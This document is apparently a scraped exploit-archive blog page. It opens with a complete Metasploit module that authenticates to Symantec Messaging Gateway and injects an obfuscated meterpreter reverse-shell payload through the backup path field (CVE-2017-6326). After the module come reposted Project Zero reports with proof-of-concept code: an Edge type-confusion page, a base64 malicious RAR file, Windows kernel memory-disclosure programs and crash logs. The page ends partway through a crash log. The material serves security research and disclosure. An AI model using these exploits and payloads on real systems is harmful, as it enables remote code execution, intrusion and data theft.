##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Symantec Messaging Gateway Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
terminal command under the context of the web server user which is root.
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
This module was tested against Symantec Messaging Gateway 10.6.2-7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'],
['CVE', '2017-6326']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => true,
'DisclosureDate' => "Apr 26 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
]
)
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def ssh_address
datastore['SSH_ADDRESS']
end
def ssh_port
datastore['SSH_PORT']
end
def ssh_username
datastore['SSH_USERNAME']
end
def ssh_password
datastore['SSH_PASSWORD']
end
def auth
print_status("Performing authentication...")
sid = ''
last_login = ''
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
})
if res && !res.get_cookies.empty?
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
else
fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
end
cookie = ''
# Performing authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
'headers' => {
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
'Connection' => 'keep-alive'
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_post' => {
'lastlogin' => last_login,
'userLocale' => '',
'lang' => 'en_US',
'username' => username,
'password' => password,
'loginBtn' => 'Login'
}
})
if res &&res.body =~ /Logged in/
cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
print_good("Awesome..! Authenticated with #{username}:#{password}")
else
fail_with(Failure::Unknown, 'Credentials are not valid.')
end
cookie
end
def get_csrf_token(cookie)
print_status('Capturing CSRF token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
})
csrf_token = nil
if res && res.code == 200
match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
if match
csrf_token = match[1]
print_good("CSRF token is : #{csrf_token}")
else
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
end
else
fail_with(Failure::Unknown, 'Something went wrong.')
end
csrf_token
end
def exploit
cookie = auth
csrf_token = get_csrf_token(cookie)
# I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
# Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
# Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
# So we gonna execute a perl payload on server side which will execute our meterpreter python payload.
cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
# Ok. We are ready to go
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
'vars_post' => {
'pageReuseFor' => 'backup_now',
'id' => '',
'symantec.brightmail.key.TOKEN' => csrf_token,
'backupData' => 'full',
'customType' => 'configuration',
'includeIncidentMessages' => 'true',
'includeLogData' => 'true',
'backupTo' => '2',
'remoteBackupProtocol' => 'SCP',
'remoteBackupAddress' => ssh_address,
'remoteBackupPort' => ssh_port,
'remoteBackupPath' => "tmp$(#{p})",
'requiresRemoteAuthentication' => 'true',
'remoteBackupUsername' => ssh_username,
'remoteBackupPassword' => ssh_password,
}
})
end
end
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863582984
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1215
The attached png file causes an out-of-bounds read when being decoded by flash. To reproduce the issue, put LoadImage.swf and read1.png on a server, and visit:
http://127.0.0.1/LoadImage.swf=read1.png
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42248.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1216
The attached file causes heap corruption in the ATF parser. To reproduce the issue, copy atffree.atf and LoadImage.swf to a server, and visit http://127.0.0.1/LoadImage.swf?img=atffree.png.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42249.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1212
The attached file causes an out-of-bounds read in avc edge processing.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42247.zip
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1254
There is a type confusion vulnerability in Microsoft Edge. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
PoC
==========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
function go() {
window.addEventListener("DOMAttrModified", undefined);
m.style.cssText = "clip-path: url(#foo);";
}
</script>
<body onload=go()>
<meter id="m" value="a" frame="below">
<!--
=========================================
Preliminary analysis:
The crash happens inside CAttrArray::PrivateFindInl. Rcx (this) pointer is supposed to point to a CAttrArray but it actually pointa to a CAttribute. CAttrArray::PrivateFindInl is only going to perform reads and its return value is going to be discarded by the calling function (CAttrArray::SetParsed). However the actual type confusion happens further down the stack (possibly inside CssParser::RecordProperty) and if CAttrArray::PrivateFindInl returns false (can be controlled by an attacker), then CAttrArray::Set is going to also be called with the wrong type, which might lead to more serious consequences.
Crash log (Note: crash log is obtained from an older Edge version as the symbols for the up-to date version are no longer available).
=========================================
(1b24.f18): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
edgehtml!CAttrArray::PrivateFindInl+0xd6:
00007ffa`64acf836 41f644d00380 test byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??
0:009> k
# Child-SP RetAddr Call Site
00 000000ab`02efb3f0 00007ffa`64c9ee99 edgehtml!CAttrArray::PrivateFindInl+0xd6
01 000000ab`02efb420 00007ffa`64bc795b edgehtml!CAttrArray::SetParsed+0x49
02 000000ab`02efb490 00007ffa`64bc96dc edgehtml!CssParser::RecordProperty+0x24b
03 000000ab`02efb500 00007ffa`64bc83dc edgehtml!CssParser::HandleSingleDeclaration+0x21c
04 000000ab`02efb580 00007ffa`64b5d2cb edgehtml!CssParser::HandleDeclaration+0x9c
05 000000ab`02efb5b0 00007ffa`64b5debe edgehtml!CssParser::Write+0x3b
06 000000ab`02efb5f0 00007ffa`64a1c60c edgehtml!ProcessCSSText+0x112
07 000000ab`02efb670 00007ffa`64a357e3 edgehtml!CStyle::SetCssText+0xbc
08 000000ab`02efb6b0 00007ffa`64d22235 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77
09 000000ab`02efb700 00007ffa`63886d07 edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25
0a 000000ab`02efb730 00007ffa`63962640 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x177
0b 000000ab`02efb810 00007ffa`63a02209 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180
0c 000000ab`02efb860 00007ffa`6392475e chakra!Js::JavascriptOperators::CallSetter+0xa9
0d 000000ab`02efb900 00007ffa`639ef932 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de
0e 000000ab`02efb9c0 00007ffa`639ef86f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2
0f 000000ab`02efba10 00007ffa`63986ddb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f
10 000000ab`02efba90 00007ffa`63929a70 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb
11 000000ab`02efbb60 00007ffa`6392e800 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70
12 000000ab`02efbbb0 00007ffa`6392c852 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340
13 000000ab`02efbc40 00007ffa`63930920 chakra!Js::InterpreterStackFrame::Process+0x142
14 000000ab`02efbca0 00007ffa`63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
15 000000ab`02efc000 00000219`30f30fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
16 000000ab`02efc050 00007ffa`63a17273 0x00000219`30f30fb2
17 000000ab`02efc080 00007ffa`63925763 chakra!amd64_CallFunction+0x93
18 000000ab`02efc0d0 00007ffa`63928260 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
19 000000ab`02efc130 00007ffa`6392ccfd chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
1a 000000ab`02efc180 00007ffa`6392c8b7 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
1b 000000ab`02efc210 00007ffa`63930920 chakra!Js::InterpreterStackFrame::Process+0x1a7
1c 000000ab`02efc270 00007ffa`63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
1d 000000ab`02efc5c0 00000219`30f30fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
1e 000000ab`02efc610 00007ffa`63a17273 0x00000219`30f30fba
1f 000000ab`02efc640 00007ffa`63925763 chakra!amd64_CallFunction+0x93
20 000000ab`02efc690 00007ffa`6395a4bc chakra!Js::JavascriptFunction::CallFunction<1>+0x83
21 000000ab`02efc6f0 00007ffa`63959a86 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
22 000000ab`02efc7e0 00007ffa`639fc359 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
23 000000ab`02efc850 00007ffa`6395ff21 chakra!ScriptSite::CallRootFunction+0xb5
24 000000ab`02efc8f0 00007ffa`6395badc chakra!ScriptSite::Execute+0x131
25 000000ab`02efc980 00007ffa`64be08dd chakra!ScriptEngineBase::Execute+0xcc
26 000000ab`02efca20 00007ffa`64be0828 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
27 000000ab`02efca70 00007ffa`64b1a8c7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
28 000000ab`02efcab0 00007ffa`64b1a6b7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
29 000000ab`02efcc30 00007ffa`64bdf22a edgehtml!CListenerDispatch::Invoke+0xdb
2a 000000ab`02efccb0 00007ffa`64cb40d2 edgehtml!CEventMgr::_InvokeListeners+0x2ca
2b 000000ab`02efce10 00007ffa`64b30ac5 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
2c 000000ab`02efce40 00007ffa`64b30553 edgehtml!CEventMgr::Dispatch+0x405
2d 000000ab`02efd110 00007ffa`64c0d8da edgehtml!CEventMgr::DispatchEvent+0x73
2e 000000ab`02efd160 00007ffa`64c4ba12 edgehtml!COmWindowProxy::Fire_onload+0x14e
2f 000000ab`02efd270 00007ffa`64c4a6a6 edgehtml!CMarkup::OnLoadStatusDone+0x376
30 000000ab`02efd330 00007ffa`64c4a21f edgehtml!CMarkup::OnLoadStatus+0x112
31 000000ab`02efd360 00007ffa`64bd5b43 edgehtml!CProgSink::DoUpdate+0x3af
32 000000ab`02efd7f0 00007ffa`64bd7300 edgehtml!GlobalWndOnMethodCall+0x273
33 000000ab`02efd8f0 00007ffa`7f751c24 edgehtml!GlobalWndProc+0x130
34 000000ab`02efd9b0 00007ffa`7f75156c user32!UserCallWinProcCheckWow+0x274
35 000000ab`02efdb10 00007ffa`75cecdf1 user32!DispatchMessageWorker+0x1ac
36 000000ab`02efdb90 00007ffa`75cec3b1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
37 000000ab`02effde0 00007ffa`768f9596 EdgeContent!LCIETab_ThreadProc+0x2c1
38 000000ab`02efff00 00007ffa`81538364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
39 000000ab`02efff30 00007ffa`81b170d1 KERNEL32!BaseThreadInitThunk+0x14
3a 000000ab`02efff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:009> r
rax=0000000000003ffd rbx=0000000000000002 rcx=0000021128e64cf0
rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000
rip=00007ffa64acf836 rsp=000000ab02efb3f0 rbp=0000000000000002
r8=0000000300000003 r9=00000000800114a4 r10=0000000000000000
r11=0000000000007ffa r12=0000021932328fe0 r13=0000021127f66f01
r14=0000021128e64c88 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
edgehtml!CAttrArray::PrivateFindInl+0xd6:
00007ffa`64acf836 41f644d00380 test byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??
=========================================
-->
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1286&desc=6
It appears that the VMSF_DELTA memory corruption that was reported to Sophos AV in 2012 (and fixed there) was actually inherited from upstream unrar. For unknown reasons the information did not reach upstream rar or was otherwise lost, and the bug seems to have persisted there to this day.
The bug is sometimes called "Sophos Anti-Virus RAR VMSF_DELTA Filter Signedness Error", and referenced in the following links:
https://community.sophos.com/kb/en-us/118424#six
http://telussecuritylabs.com/threats/show/TSL20121207-01
The issue is in the following code:
case VMSF_DELTA:
{
int DataSize=R[4],Channels=R[0],SrcPos=0,Border=DataSize*2;
if ((uint)DataSize>=VM_MEMSIZE/2)
break;
// Bytes from same channels are grouped to continual data blocks,
// so we need to place them back to their interleaving positions.
for (int CurChannel=0;CurChannel<Channels;CurChannel++)
{
byte PrevByte=0;
for (int DestPos=DataSize+CurChannel;DestPos<Border;DestPos+=Channels)
Mem[DestPos]=(PrevByte-=Mem[SrcPos++]);
}
}
break;
An attacker controls R[4] and R[0] arbitrarily. By setting R[0] to be sufficiently
large (perhaps 0x7FFFFFFF), an integer overflow can be caused in DataSize+CurChannel.
The result is a negative value of "DestPos", which allows the attacker to write
out of bounds when setting Mem[DestPos].
A minimal test example that crashes unrar 5.40 and prior is base64-encoded below:
Base64-encoded RAR file to trigger the VMSF_DELTA issue:
UmFyIRoHAPlOcwAADgAAAAAAAAAAMAh0AAAmAI4AAAAAAAAAAhBBUiEAAAAAHQAGAAAAACBzdGRv
dXQgIVUMzRDNmBGByDAda+AXaSv4KvQr1K/oejL05mXmXmww5tEk8gA9k8nmieyeyeswuOR6cx69
a2Hd6zQwu3aoMDDwMEswADAAMD4P938w+dydoRFwAmwAAAAAvv////+/////+9W3QFgAAQAGAAAA
Ooimhd12AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Given the wide prevalence of the unrar source code in third-party software, quite a few
downstream parties will be affected. The source code with the fixes can be found
under http://www.rarlab.com/rar/unrarsrc-5.5.5.tar.gz - downstream parties are
encouraged to quickly update and ship fixes.
Thanks to the RAR developers for their quick turnaround and helpful proactive audit
of their codebase which removed further issues.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42245.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1214&desc=2
We have discovered that the nt!NtQueryInformationWorkerFactory system call called with the WorkerFactoryBasicInformation (7) information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
The specific layout of the output structure corresponding to the class is unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 96 bytes is accepted. Within that memory area, 5 uninitialized bytes from the kernel stack can be leaked to the client application.
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=WorkerFactoryBasicInformation and the allowed output size. An example output is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 44 5f 9a fe ff ff ff 00 00 00 01 00 00 00 41 .D_............A
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 14 0a 00 00 00 00 01 00 00 10 00 00 00 00 00 00 ................
--- cut ---
It is clearly visible here that among all data copied from ring-0 to ring-3, 1 byte at offset 0x1f and 4 bytes at offset 0x3c remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C" {
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
NTSTATUS WINAPI
NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle,
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);
NTSTATUS WINAPI
NtQueryInformationWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_In_ ULONG WorkerFactoryInformationClass,
_Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
_In_ ULONG WorkerFactoryInformationLength,
_Out_opt_ PULONG ReturnLength
);
} // extern "C"
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Create a completion port.
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
if (hCompletionPort == NULL) {
printf("CreateIoCompletionPort failed, %d\n", GetLastError());
return 1;
}
// Create the worker factory object to query.
HANDLE hWorkerFactory = NULL;
NTSTATUS st = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (!NT_SUCCESS(st)) {
printf("NtCreateWorkerFactory failed, %x\n", st);
CloseHandle(hCompletionPort);
return 1;
}
// Spray the kernel stack to get visible results.
SprayKernelStack();
// Trigger the vulnerability and print out the output structure.
BYTE output[96] = { /* zero padding */ };
DWORD ReturnLength;
#define WorkerFactoryBasicInformation 7
st = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, output, sizeof(output), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationWorkerFactory failed, %x\n", st);
CloseHandle(hWorkerFactory);
CloseHandle(hCompletionPort);
return 1;
}
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hWorkerFactory);
CloseHandle(hCompletionPort);
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1213
We have encountered a Windows kernel crash in the ATMFD.DLL OpenType driver while processing a corrupted OTF font file, see below:
---
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fb69b01e, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 8f635862, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
[...]
FAULTING_IP:
ATMFD+35862
8f635862 803802 cmp byte ptr [eax],2
MM_INTERNAL_CODE: 0
CPU_COUNT: 4
CPU_MHZ: da3
CPU_VENDOR: GenuineIntel
CPU_FAMILY: 6
CPU_MODEL: 3e
CPU_STEPPING: 4
CPU_MICROCODE: 6,3e,4,0 (F,M,S,R) SIG: 19'00000000 (cache) 19'00000000 (init)
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0xD6
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 2
ANALYSIS_SESSION_HOST: WIN7-32-VM
ANALYSIS_SESSION_TIME: 03-21-2017 10:49:20.0375
ANALYSIS_VERSION: 10.0.10586.567 x86fre
LAST_CONTROL_TRANSFER: from 8f636088 to 8f635862
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
9625f538 8f636088 9625f790 05f70000 9625f790 ATMFD+0x35862
9625f630 8f6355b1 9625f790 05f70000 9625f64c ATMFD+0x36088
9625f734 8f635711 9625f790 05f70000 9625f868 ATMFD+0x355b1
9625f768 8f6051b0 00000000 9625f790 05f70000 ATMFD+0x35711
9625f808 8f607279 00000004 00000001 00000002 ATMFD+0x51b0
9625f888 8f603d14 00000000 00000000 94bb3200 ATMFD+0x7279
9625f96c 8f6e7b8d 00000004 fbad2fc0 fbadaff8 ATMFD+0x3d14
9625f9b4 8f6e7adf 00000001 fbad2fc0 fbadaff8 win32k!PDEVOBJ::LoadFontFile+0x3c
9625f9f4 8f6e74fc ffa6a130 0000002e fbad2fc0 win32k!vLoadFontFileView+0x291
9625fa80 8f6d6403 9625fb58 0000002e 00000001 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x209
9625facc 8f6d73d8 9625fb58 0000002e 00000001 win32k!GreAddFontResourceWInternal+0xfb
9625fc14 8164ddb6 000d9b78 0000002e 00000001 win32k!NtGdiAddFontResourceW+0x142
9625fc14 77ad6c74 000d9b78 0000002e 00000001 nt!KiSystemServicePostCall
---
The bugcheck is caused by an attempt to read memory from an unmapped address. The specific expression being dereferenced by ATMFD.DLL is "base address of the Name INDEX data + NAME.offset[x] - 1", however no bounds checking is performed over the value of NAME.offset[x] before using it for pointer arithmetic. To our current knowledge, this condition can only lead to an out-of-bounds read, thus limiting the impact of the bug to remote denial of service, or potentially local kernel memory disclosure. However, we have not fully confirmed that the severity of the bug is not in fact more significant due to some further ATMFD logic we are not aware of.
Interestingly, the crash is almost identical to the one reported in Issue #386 (MSRC-30296) nearly two years ago, which was supposedly fixed as CVE-2015-2461 in the MS15-080 bulletin. The fact that the same bugcheck still reproduces can potentially mean that the patch was insufficient.
Only a single bitflip applied to a valid font file is sufficient to create an offending testcase (excluding SFNT table checksums). In our case, the byte at offset 0x375 in the original sample must be changed from 0x01 to 0x41. This corresponds to offset 0x71 of the "CFF " table. The PoC font can be found attached to this tracker entry.
The issue reproduces on Windows 7 (other platforms untested). It is easiest to reproduce with Special Pools enabled for ATMFD.DLL, leading to an immediate crash when the bug is triggered. The bugcheck occurs upon opening the font in any default utility such as the Windows Font Viewer -- no special tools are required.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42243.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1207
We have discovered that the nt!NtQueryInformationResourceManager system call called with the 0 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
The specific name of the 0 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 24 bytes is accepted. At the end of that memory area, 2 uninitialized bytes from the kernel stack can be leaked to the client application.
The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=0 and the allowed output size. An example output is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ......AA........
--- cut ---
It is clearly visible here that 2 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationResourceManager = 0x00b6;
// Create a volatile transaction manager.
HANDLE hManager = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
if (hManager == INVALID_HANDLE_VALUE) {
printf("CreateTransactionManager failed, %d\n", GetLastError());
return 1;
}
// Create a resource manager.
GUID guid;
ZeroMemory(&guid, sizeof(guid));
HANDLE hResource = CreateResourceManager(NULL, &guid, RESOURCE_MANAGER_VOLATILE, hManager, NULL);
if (hResource == INVALID_HANDLE_VALUE) {
printf("CreateResourceManager failed, %d\n", GetLastError());
CloseHandle(hManager);
return 1;
}
// Spray the kernel stack to get visible results.
SprayKernelStack();
// Trigger the vulnerability and print out the output structure.
BYTE output[24] = { /* zero padding */ };
DWORD ReturnLength;
NTSTATUS st = SystemCall32(__NR_NtQueryInformationResourceManager, hResource, 0, output, sizeof(output), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationResourceManager failed, %x\n", st);
CloseHandle(hManager);
CloseHandle(hResource);
return 1;
}
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hManager);
CloseHandle(hResource);
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1205
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlReverseChainingLookup::apply function, while trying to display text using a corrupted TTF font file:
---
(678.6c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0360c018 ebx=0000ffff ecx=035acffa edx=00000012 esi=0012efa8 edi=0000ffff
eip=7750786b esp=0012e9fc ebp=0012ea38 iopl=0 nv up ei pl nz na pe nc
